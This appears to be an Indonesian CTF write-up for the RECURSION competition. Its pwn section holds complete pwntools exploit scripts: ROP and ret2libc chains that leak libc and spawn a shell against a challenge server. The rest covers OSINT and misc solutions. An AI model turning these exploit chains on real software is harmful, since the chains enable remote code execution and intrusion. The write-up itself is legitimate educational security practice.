    offset = 64 

    payload = flat({ 

        offset: [ 

            0x4000f8, 

            p64(rop.ret.address) * 32, 

            pop_rdi, 

            binbash, 

            pop_r15_ret, 

            0x0, 

            pop_rsi_mov_rdx_r15_pop_r15, 

            0x0, 

            0x0, 

            pop_rax, 

            0x3b, 

            syscall, 

        ] 

    }) 

    io.sendline(payload) 

    

    io.interactive() 

    

if __name__ == '__main__': 

    exploit() 
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House​
Flag: RECURSION{b1ngung_m4u_b1kin_k4yak_g1man4} 

 
Diberikan sebuah file: 

 
Lalu kita buka di IDA: 
 

main() 

int __fastcall main(int argc, const char **argv, const char **envp) 

{ 

  int player_sum[2]; // [rsp+Ch] [rbp-C4h] 

  int player_high[2]; // [rsp+14h] [rbp-BCh] 

  int player_low[2]; // [rsp+1Ch] [rbp-B4h] 

  int choice; // [rsp+24h] [rbp-ACh] BYREF 

  int room; // [rsp+28h] [rbp-A8h] BYREF 

  int rounds; // [rsp+2Ch] [rbp-A4h] BYREF 

  char player_name[2][48]; // [rsp+30h] [rbp-A0h] BYREF 

  int player[2]; // [rsp+98h] [rbp-38h] 

  int house_sum; // [rsp+A0h] [rbp-30h] 

  int house_high; // [rsp+A4h] [rbp-2Ch] 

  int house_low; // [rsp+A8h] [rbp-28h] 

  int house; // [rsp+ACh] [rbp-24h] 

  int bet_amount; // [rsp+B0h] [rbp-20h] 

  int i_2; // [rsp+B4h] [rbp-1Ch] 

  int win; // [rsp+B8h] [rbp-18h] 

  int i_1; // [rsp+BCh] [rbp-14h] 

  int i_0; // [rsp+C0h] [rbp-10h] 

  int reset; // [rsp+C4h] [rbp-Ch] 

  int i; // [rsp+C8h] [rbp-8h] 

  int balance; // [rsp+CCh] [rbp-4h] 

 

  rounds = 0; 
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  balance = 1000; 

  setup(); 

  puts("====================="); 

  puts("Casino Roulette"); 

  printf("House Edge: %.2f%%\n", (float)(100.0 * 0.030300001)); 

  puts("====================="); 

  puts("You will now play as the house."); 

LABEL_2: 

  while ( 1 ) 

  { 

    puts("\n1. Set the player's rounds"); 

    puts("2. Spin the wheel"); 

    puts("3. Exit"); 

    printf("Choice: "); 

    __isoc99_scanf("%d%*c", &choice); 

    if ( choice == 3 ) 

      break; 

    if ( choice > 3 ) 

      goto LABEL_54; 

    if ( choice == 1 ) 

    { 

      printf("\nEnter the number of rounds: "); 

      __isoc99_scanf("%d%*c", &rounds); 

      if ( rounds <= 2 ) 

      { 

        for ( i = 0; i < rounds; ++i ) 

          player[i] = 0; 

        printf("Which room will the player be in? "); 

        __isoc99_scanf("%d%*c", &room); 

        if ( --room <= 2 ) 

        { 

          printf("Enter the player's name: "); 

          fgets(player_name[room], 256, stdin); 

        } 

        else 

        { 

          puts("Invalid room."); 

        } 

      } 

      else 

      { 
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        puts("Invalid number of rounds."); 

      } 

    } 

    else if ( choice == 2 ) 

    { 

      if ( rounds ) 

      { 

        if ( balance <= 0 ) 

        { 

          puts("\nYou have no more balance."); 

          return 0; 

        } 

        bet_amount = rand() % (balance + 1); 

        printf("Bet amount: %d\n", bet_amount); 

        reset = 1; 

        while ( reset ) 

        { 

          puts("\nSpinning the wheel..."); 

          house = rand() % 37; 

          player[0] = rand() % 37; 

          player[1] = rand() % 37; 

          player_low[0] = player[0] % 10; 

          player_low[1] = player[1] % 10; 

          player_high[0] = (int)(double)(player[0] / 10); 

          player_high[1] = (int)(double)(player[1] / 10); 

          house_low = house % 10; 

          house_high = (int)(double)(house / 10); 

          house_sum = house % 10 + house_high; 

          player_sum[0] = player[0] % 10 + player_high[0]; 

          player_sum[1] = player[1] % 10 + player_high[1]; 

          printf("\nHouse: %d\n", house_sum); 

          for ( i_0 = 0; i_0 < rounds; ++i_0 ) 

            printf("Player [%d]: %d\n", i_0, player_sum[i_0]); 

          reset = 0; 

          for ( i_1 = 0; i_1 < rounds; ++i_1 ) 

          { 

            if ( house_sum == 9 && player_sum[i_1] == 9 ) 

            { 

              reset = 1; 

              break; 

            } 
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            if ( house_sum == 9 || (unsigned int)house_sum <= 1 ) 

            { 

              reset = 0; 

            } 

            else if ( player_sum[i_1] == 9 ) 

            { 

              reset = 0; 

            } 

            else if ( house_sum < player_sum[i_1] ) 

            { 

              reset = 1; 

              break; 

            } 

          } 

          if ( !reset ) 

          { 

            win = 1; 

            balance += bet_amount; 

            for ( i_2 = 0; i_2 < rounds && player_sum[i_2] != 9 && (unsigned 

int)house_sum >= 2; ++i_2 ) 

            { 

              if ( player_sum[i_2] == 1 ) 

              { 

                balance -= 4 * bet_amount; 

                puts("\nPlayer got quads! Player wins!"); 

                win = 0; 

                break; 

              } 

              if ( !player_sum[i_2] ) 

              { 

                balance += -3 * bet_amount; 

                puts("\nPlayer got a straight! Player wins!"); 

                win = 0; 

                break; 

              } 

              if ( house_sum < player_sum[i_2] || house_sum == 9 ) 

              { 

                balance -= 2 * bet_amount; 

                puts("\nPlayer wins!"); 

                win = 0; 

                break; 
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              } 

            } 

            if ( win ) 

            { 

              puts("\nHouse wins!"); 

              goto LABEL_2; 

            } 

          } 

        } 

      } 

      else 

      { 

        puts("\nPlease set the number of rounds first."); 

      } 

    } 

    else 

    { 

LABEL_54: 

      puts("\nInvalid choice."); 

    } 

  } 

  puts("\nGoodbye!"); 

  return 0; 

} 

Nah ada vulnerability disini: 

 
Karena char player_name[2][48] bisa di overflow, dan ternyata overflow nya sampai RIP. 
Jadi saya overflow dua kali, yang pertama buat leak libc, yang kedua buat ret2libc. 
Berikut solver: 

solve.py 

#!/usr/bin/env python3 

from pwn import * 

 

# ========================================================= 

#                          SETUP                         

# ========================================================= 

Part of HCS  



disuruh mentor daftar 

exe = './chall_patched' 

elf = context.binary = ELF(exe, checksec=True) 

libc = './libc.so.6' 

libc = ELF(libc, checksec=False) 

context.log_level = 'info' 

context.terminal = ["tmux", "splitw", "-h", "-p", "65"] 

host, port = '103.87.66.171', 61008 

 

def initialize(argv=[]): 

    if args.GDB: 

        return gdb.debug([exe] + argv, gdbscript=gdbscript) 

    elif args.REMOTE: 

        return remote(host, port) 

    else: 

        return process([exe] + argv) 

 

gdbscript = ''' 

init-pwndbg 

'''.format(**locals()) 

 

def set_round(round, room, name): 

    io.sendlineafter(b':', b'1') 

    io.sendlineafter(b':', str(round).encode()) 

    io.sendlineafter(b':', str(room).encode()) 

    io.sendlineafter(b':', name) 

 

# ========================================================= 

#                         EXPLOITS 

# ========================================================= 

def exploit(): 

    global io 

    io = initialize() 

    rop = ROP(exe) 

    offset = 72 

    payload = flat({ 

        offset: [ 

            rop.ret.address, 

            0x401040, 

            elf.plt['puts'], 

            elf.sym['main'] 

        ] 
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    }) 

 

    set_round(2, 3, payload) 

    io.sendlineafter(b':', b'3') 

    io.recvuntil(b'Goodbye!\n') 

    libc.address = unpack(io.recvline().strip().ljust(8, b'\x00')) - 

libc.sym['funlockfile'] 

    

    rop = ROP(libc) 

    rop.raw(b'A'*offset) 

    rop.raw(rop.ret.address) 

    rop.system(next(libc.search(b'/bin/sh\x00'))) 

    set_round(2, 3, rop.chain()) 

    io.sendlineafter(b':', b'3') 

    

    success('libc.address: ' + hex(libc.address)) 

    io.interactive() 

    

if __name__ == '__main__': 

    exploit() 
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MISC 
I wish I was there on December 21, 2024​

Flag: RECURSION{paddock.revived.impresses} 
 
Diberikan gambar: 

 
Kita bisa extract metadata dari gambar tersebut pake exiftool dan kita bakal dapet 
koordinat: 
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Nah ini kita tinggal masukin gmaps koordinat nya: 

 
Nah disini kita deduksi berdasarkan posisi candi prambanan nya: 
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Yang merah itu pasti candi prambanan nya, dan ada jalan yang melengkung, setelah cari di 
sekitar prambanan ada posisi yang cocok di gmaps: 
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Dan kita tinggal coba-coba aja di what3words, dan saya kebetulan langsung dapat di first 
try :v 

 
Yaitu paddock.revived.impresses, dan wrap dengan format flag  
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Small House​
Flag: RECURSION{two_beds_in_a_small_home} 

 
Deskripsi 
 
by ztz 

So me and my friend are building a small house in Minecraft with two beds and a chest, but 
the house is too small to fit everything. I need your help to reconstruct the house so that we 
can fit everything inside. Here is the location of the house 1, 6 in r.0.0.​
​
 Note: 

●​ You don't need the Minecraft game to solve this challenge. 
●​ Add underscore to separate words in the flag. 

Informasi Terkait Soal 
 
Diberikan .zip file untuk worldnya. 
 
Solusi 
 
Karena udah punya minecraft jadinya login :v 
Aslinya bisa pake NBTExplorer / Unmined dan sebagainya. 
 

 
 
Ambil huruf pertama dari setiap item > twobedsinasmallhome 
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Mission Difference​
Flag: RECURSION{4h_i_th0ught_you_w4nt3d_t0_g1ve_m3_som3_ETH} 

 
Deskripsi 
 
by ztz 

I want to use Mission Difference 674 name but it's already taken :(.​
​
 Note: 

●​ Maybe you need to log into the Social Media website you found. 
●​ Flag is in plain sight? 
●​ There will be a hint for each step. 

Pendekatan 
 
Kita langsung coba search saja, dan muncullah akun Reddit. 
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Disini untuk desc/bio user ztz cukup menarik, “Reddit Custom Feed is so goated fr”. Sesuai 
pernyataan kita coba cek satu-satu, dan ada subreddit bernama learncpp344 yang cukup 
sus. 
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Seharusnya ini jalan yang benar, karena online user > Pencari FLAG 💀, ditambah deskripsi 
subreddit juga. Kita coba cek post, tidak ada yang menarik, kita coba cek user 
Naive-Nectarine-2386: 
 

 
 
Jujur yang bagian ini rada guessy, ada email di desc/bio user. Kemarin iseng iseng aja ngirim 
email siapa tau mirip machine HTB, eh…. 
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Ada email yang masuk beneran 😭​
Ada address ETH jadi kita coba langsung ke Etherscan: 
 

 
 
Disini kemarin kita mencari dari masing-masing transaction, akhirnya di transaction kedua 
terakhir: 
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Hasil 
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